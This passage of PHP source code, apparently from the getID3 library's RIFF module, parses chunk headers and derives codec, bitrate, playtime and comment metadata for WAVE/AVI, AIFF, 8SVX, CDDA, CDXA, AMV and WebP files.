$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2 break; case 0x0055: // MPEG Layer 3 $thisfile_audio_dataformat = 'mp3'; break; case 0x00FF: // AAC $thisfile_audio_dataformat = 'aac'; break; case 0x0161: // Windows Media v7 / v8 / v9 case 0x0162: // Windows Media Professional v9 case 0x0163: // Windows Media Lossess v9 $thisfile_audio_dataformat = 'wma'; break; case 0x2000: // AC-3 $thisfile_audio_dataformat = 'ac3'; break; case 0x2001: // DTS $thisfile_audio_dataformat = 'dts'; break; default: $thisfile_audio_dataformat = 'wav'; break; } $thisfile_audio_streams_currentstream['dataformat'] = $thisfile_audio_dataformat; $thisfile_audio_streams_currentstream['lossless'] = $thisfile_audio['lossless']; $thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode']; break; case 'iavs': case 'vids': // shortcut $thisfile_riff_raw['strh'][$i] = array(); $thisfile_riff_raw_strh_current = &$thisfile_riff_raw['strh'][$i]; $thisfile_riff_raw_strh_current['fccType'] = substr($strhData, 0, 4); // same as $strhfccType; $thisfile_riff_raw_strh_current['fccHandler'] = substr($strhData, 4, 4); $thisfile_riff_raw_strh_current['dwFlags'] = $this->EitherEndian2Int(substr($strhData, 8, 4)); // Contains AVITF_* flags $thisfile_riff_raw_strh_current['wPriority'] = $this->EitherEndian2Int(substr($strhData, 12, 2)); $thisfile_riff_raw_strh_current['wLanguage'] = $this->EitherEndian2Int(substr($strhData, 14, 2)); $thisfile_riff_raw_strh_current['dwInitialFrames'] = $this->EitherEndian2Int(substr($strhData, 16, 4)); $thisfile_riff_raw_strh_current['dwScale'] = $this->EitherEndian2Int(substr($strhData, 20, 4)); $thisfile_riff_raw_strh_current['dwRate'] = $this->EitherEndian2Int(substr($strhData, 24, 4)); $thisfile_riff_raw_strh_current['dwStart'] = $this->EitherEndian2Int(substr($strhData, 28, 4)); $thisfile_riff_raw_strh_current['dwLength'] = $this->EitherEndian2Int(substr($strhData, 32, 4)); $thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4)); $thisfile_riff_raw_strh_current['dwQuality'] = $this->EitherEndian2Int(substr($strhData, 40, 4)); $thisfile_riff_raw_strh_current['dwSampleSize'] = $this->EitherEndian2Int(substr($strhData, 44, 4)); $thisfile_riff_raw_strh_current['rcFrame'] = $this->EitherEndian2Int(substr($strhData, 48, 4)); $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']); $thisfile_video['fourcc'] = $thisfile_riff_raw_strh_current['fccHandler']; if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']); $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; } $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; $thisfile_video['pixel_aspect_ratio'] = (float) 1; switch ($thisfile_riff_raw_strh_current['fccHandler']) { case 'HFYU': // Huffman Lossless Codec case 'IRAW': // Intel YUV Uncompressed case 'YUY2': // Uncompressed YUV 4:2:2 $thisfile_video['lossless'] = true; break; default: $thisfile_video['lossless'] = false; break; } switch ($strhfccType) { case 'vids': $thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff')); $thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount']; if ($thisfile_riff_video_current['codec'] == 'DV') { $thisfile_riff_video_current['dv_type'] = 2; } break; case 'iavs': $thisfile_riff_video_current['dv_type'] = 1; break; } break; default: $this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"'); break; } } } if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; if (self::fourccLookup($thisfile_video['fourcc'])) { $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']); $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; } switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) { case 'HFYU': // Huffman Lossless Codec case 'IRAW': // Intel YUV Uncompressed case 'YUY2': // Uncompressed YUV 4:2:2 $thisfile_video['lossless'] = true; //$thisfile_video['bits_per_sample'] = 24; break; default: $thisfile_video['lossless'] = false; //$thisfile_video['bits_per_sample'] = 24; break; } } } } } break; case 'AMV ': $info['fileformat'] = 'amv'; $info['mime_type'] = 'video/amv'; $thisfile_video['bitrate_mode'] = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR $thisfile_video['dataformat'] = 'mjpeg'; $thisfile_video['codec'] = 'mjpeg'; $thisfile_video['lossless'] = false; $thisfile_video['bits_per_sample'] = 24; $thisfile_audio['dataformat'] = 'adpcm'; $thisfile_audio['lossless'] = false; break; // http://en.wikipedia.org/wiki/CD-DA case 'CDDA': $info['fileformat'] = 'cda'; unset($info['mime_type']); $thisfile_audio_dataformat = 'cda'; $info['avdataoffset'] = 44; if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) { // shortcut $thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0]; $thisfile_riff_CDDA_fmt_0['unknown1'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 0, 2)); $thisfile_riff_CDDA_fmt_0['track_num'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 2, 2)); $thisfile_riff_CDDA_fmt_0['disc_id'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 4, 4)); $thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 8, 4)); $thisfile_riff_CDDA_fmt_0['playtime_frames'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4)); $thisfile_riff_CDDA_fmt_0['unknown6'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4)); $thisfile_riff_CDDA_fmt_0['unknown7'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4)); $thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75; $thisfile_riff_CDDA_fmt_0['playtime_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75; $info['comments']['track_number'] = $thisfile_riff_CDDA_fmt_0['track_num']; $info['playtime_seconds'] = $thisfile_riff_CDDA_fmt_0['playtime_seconds']; // hardcoded data for CD-audio $thisfile_audio['lossless'] = true; $thisfile_audio['sample_rate'] = 44100; $thisfile_audio['channels'] = 2; $thisfile_audio['bits_per_sample'] = 16; $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample']; $thisfile_audio['bitrate_mode'] = 'cbr'; } break; // http://en.wikipedia.org/wiki/AIFF case 'AIFF': case 'AIFC': $info['fileformat'] = 'aiff'; $info['mime_type'] = 'audio/x-aiff'; $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = 'aiff'; $thisfile_audio['lossless'] = true; if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size']; if ($info['avdataend'] > $info['filesize']) { if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) { // structures rounded to 2-byte boundary, but dumb encoders // forget to pad end of file to make this actually work } else { $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); } $info['avdataend'] = $info['filesize']; } } if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) { // shortcut $thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data']; $thisfile_riff_audio['channels'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 0, 2), true); $thisfile_riff_audio['total_samples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 2, 4), false); $thisfile_riff_audio['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 6, 2), true); $thisfile_riff_audio['sample_rate'] = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 8, 10)); if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) { $thisfile_riff_audio['codec_fourcc'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18, 4); $CodecNameSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22, 1), false); $thisfile_riff_audio['codec_name'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23, $CodecNameSize); switch ($thisfile_riff_audio['codec_name']) { case 'NONE': $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; $thisfile_audio['lossless'] = true; break; case '': switch ($thisfile_riff_audio['codec_fourcc']) { // http://developer.apple.com/qa/snd/snd07.html case 'sowt': $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM'; $thisfile_audio['lossless'] = true; break; case 'twos': $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM'; $thisfile_audio['lossless'] = true; break; default: break; } break; default: $thisfile_audio['codec'] = $thisfile_riff_audio['codec_name']; $thisfile_audio['lossless'] = false; break; } } $thisfile_audio['channels'] = $thisfile_riff_audio['channels']; if ($thisfile_riff_audio['bits_per_sample'] > 0) { $thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample']; } $thisfile_audio['sample_rate'] = $thisfile_riff_audio['sample_rate']; if ($thisfile_audio['sample_rate'] == 0) { $this->error('Corrupted AIFF file: sample_rate == zero'); return false; } $info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate']; } if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) { $offset = 0; $CommentCount = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); $offset += 2; for ($i = 0; $i < $CommentCount; $i++) { $info['comments_raw'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false); $offset += 4; $info['comments_raw'][$i]['marker_id'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true); $offset += 2; $CommentLength = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); $offset += 2; $info['comments_raw'][$i]['comment'] = substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength); $offset += $CommentLength; $info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']); $thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment']; } } $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); foreach ($CommentsChunkNames as $key => $value) { if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; } } /* if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_id3v2 = new getid3_id3v2($getid3_temp); $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8; if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) { $info['id3v2'] = $getid3_temp->info['id3v2']; } unset($getid3_temp, $getid3_id3v2); } */ break; // http://en.wikipedia.org/wiki/8SVX case '8SVX': $info['fileformat'] = '8svx'; $info['mime_type'] = 'audio/8svx'; $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = '8svx'; $thisfile_audio['bits_per_sample'] = 8; $thisfile_audio['channels'] = 1; // overridden below, if need be $ActualBitsPerSample = 0; if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size']; if ($info['avdataend'] > $info['filesize']) { $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); } } if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) { // shortcut $thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0]; $thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 0, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 4, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 8, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2)); $thisfile_riff_RIFFsubtype_VHDR_0['ctOctave'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1)); $thisfile_riff_RIFFsubtype_VHDR_0['sCompression'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1)); $thisfile_riff_RIFFsubtype_VHDR_0['Volume'] = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4)); $thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']; switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) { case 0: $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; $thisfile_audio['lossless'] = true; $ActualBitsPerSample = 8; break; case 1: $thisfile_audio['codec'] = 'Fibonacci-delta encoding'; $thisfile_audio['lossless'] = false; $ActualBitsPerSample = 4; break; default: $this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"'); break; } } if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) { $ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4)); switch ($ChannelsIndex) { case 6: // Stereo $thisfile_audio['channels'] = 2; break; case 2: // Left channel only case 4: // Right channel only $thisfile_audio['channels'] = 1; break; default: $this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"'); break; } } $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); foreach ($CommentsChunkNames as $key => $value) { if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; } } $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels']; if (!empty($thisfile_audio['bitrate'])) { $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8); } break; case 'CDXA': $info['fileformat'] = 'vcd'; // Asume Video CD $info['mime_type'] = 'video/mpeg'; if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_mpeg = new getid3_mpeg($getid3_temp); $getid3_mpeg->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['video'] = $getid3_temp->info['video']; $info['mpeg'] = $getid3_temp->info['mpeg']; $info['warning'] = $getid3_temp->info['warning']; } unset($getid3_temp, $getid3_mpeg); } break; case 'WEBP': // https://developers.google.com/speed/webp/docs/riff_container // https://tools.ietf.org/html/rfc6386 // https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt $info['fileformat'] = 'webp'; $info['mime_type'] = 'image/webp'; if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) { $old_offset = $this->ftell(); $this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size $WEBP_VP8_header = $this->fread(10); $this->fseek($old_offset); if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") { $thisfile_riff['WEBP']['VP8 '][0]['keyframe'] = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000); $thisfile_riff['WEBP']['VP8 '][0]['version'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20; $thisfile_riff['WEBP']['VP8 '][0]['show_frame'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000); $thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >> 0; $thisfile_riff['WEBP']['VP8 '][0]['scale_x'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14; $thisfile_riff['WEBP']['VP8 '][0]['width'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF); $thisfile_riff['WEBP']['VP8 '][0]['scale_y'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14; $thisfile_riff['WEBP']['VP8 '][0]['height'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF); $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width']; $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height']; } else { $this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"'); } } if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) { $old_offset = $this->ftell(); $this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size $WEBP_VP8L_header = $this->fread(10); $this->fseek($old_offset); if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") { $width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4)); $thisfile_riff['WEBP']['VP8L'][0]['width'] = bindec(substr($width_height_flags, 18, 14)) + 1; $thisfile_riff['WEBP']['VP8L'][0]['height'] = bindec(substr($width_height_flags, 4, 14)) + 1; $thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags, 3, 1)); $thisfile_riff['WEBP']['VP8L'][0]['version'] = bindec(substr($width_height_flags, 0, 3)); $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width']; $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height']; } else { $this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"'); } } break; default: $this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead'); //unset($info['fileformat']); } switch ($RIFFsubtype) { case 'WAVE': case 'AIFF': case 'AIFC': $ID3v2_key_good = 'id3 '; $ID3v2_keys_bad = array('ID3 ', 'tag '); foreach ($ID3v2_keys_bad as $ID3v2_key_bad) { if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) { $thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]; $this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"'); } } if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_id3v2 = new getid3_id3v2($getid3_temp); $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8; if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) { $info['id3v2'] = $getid3_temp->info['id3v2']; } unset($getid3_temp, $getid3_id3v2); } break; } if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) { $thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4)); } if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) { self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']); } if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) { self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']); } if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) { $thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version']; } if (!isset($info['playtime_seconds'])) { $info['playtime_seconds'] = 0; } if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line // needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie $info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); } elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line $info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); } if ($info['playtime_seconds'] > 0) { if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { if (!isset($info['bitrate'])) { $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) { if (!isset($thisfile_audio['bitrate'])) { $thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { if (!isset($thisfile_video['bitrate'])) { $thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } } if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) { $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); $thisfile_audio['bitrate'] = 0; $thisfile_video['bitrate'] = $info['bitrate']; foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) { $thisfile_video['bitrate'] -= $audioinfoarray['bitrate']; $thisfile_audio['bitrate'] += $audioinfoarray['bitrate']; } if ($thisfile_video['bitrate'] <= 0) { unset($thisfile_video['bitrate']); } if ($thisfile_audio['bitrate'] <= 0) { unset($thisfile_audio['bitrate']); } } if (isset($info['mpeg']['audio'])) { $thisfile_audio_dataformat = 'mp'.$info['mpeg']['audio']['layer']; $thisfile_audio['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $thisfile_audio['channels'] = $info['mpeg']['audio']['channels']; $thisfile_audio['bitrate'] = $info['mpeg']['audio']['bitrate']; $thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); if (!empty($info['mpeg']['audio']['codec'])) { $thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec']; } if (!empty($thisfile_audio['streams'])) { foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) { if ($streamdata['dataformat'] == $thisfile_audio_dataformat) { $thisfile_audio['streams'][$streamnumber]['sample_rate'] = $thisfile_audio['sample_rate']; $thisfile_audio['streams'][$streamnumber]['channels'] = $thisfile_audio['channels']; $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; $thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; $thisfile_audio['streams'][$streamnumber]['codec'] = $thisfile_audio['codec']; } } } $getid3_mp3 = new getid3_mp3($this->getid3); $thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions(); unset($getid3_mp3); } if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) { switch ($thisfile_audio_dataformat) { case 'ac3': // ignore bits_per_sample break; default: $thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample']; break; } } if (empty($thisfile_riff_raw)) { unset($thisfile_riff['raw']); } if (empty($thisfile_riff_audio)) { unset($thisfile_riff['audio']); } if (empty($thisfile_riff_video)) { unset($thisfile_riff['video']); } return true; } /** * @param int $startoffset * @param int $maxoffset * * @return array|false * * @throws Exception * @throws getid3_exception */ public function ParseRIFFAMV($startoffset, $maxoffset) { // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size // https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation //typedef struct _amvmainheader { //FOURCC fcc; // 'amvh' //DWORD cb; //DWORD dwMicroSecPerFrame; //BYTE reserve[28]; //DWORD dwWidth; //DWORD dwHeight; //DWORD dwSpeed; //DWORD reserve0; //DWORD reserve1; //BYTE bTimeSec; //BYTE bTimeMin; //WORD wTimeHour; //} AMVMAINHEADER; $info = &$this->getid3->info; $RIFFchunk = false; try { $this->fseek($startoffset); $maxoffset = min($maxoffset, $info['avdataend']); $AMVheader = $this->fread(284); if (substr($AMVheader, 0, 8) != 'hdrlamvh') { throw new Exception('expecting "hdrlamv" at offset '.($startoffset + 0).', found "'.substr($AMVheader, 0, 8).'"'); } if (substr($AMVheader, 8, 4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes throw new Exception('expecting "0x38000000" at offset '.($startoffset + 8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 8, 4)).'"'); } $RIFFchunk = array(); $RIFFchunk['amvh']['us_per_frame'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 12, 4)); $RIFFchunk['amvh']['reserved28'] = substr($AMVheader, 16, 28); // null? reserved? $RIFFchunk['amvh']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 44, 4)); $RIFFchunk['amvh']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 48, 4)); $RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 52, 4)); $RIFFchunk['amvh']['reserved0'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 56, 4)); // 1? reserved? $RIFFchunk['amvh']['reserved1'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 60, 4)); // 0? reserved? $RIFFchunk['amvh']['runtime_sec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 64, 1)); $RIFFchunk['amvh']['runtime_min'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 65, 1)); $RIFFchunk['amvh']['runtime_hrs'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 66, 2)); $info['video']['frame_rate'] = 1000000 / $RIFFchunk['amvh']['us_per_frame']; $info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x']; $info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y']; $info['playtime_seconds'] = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + 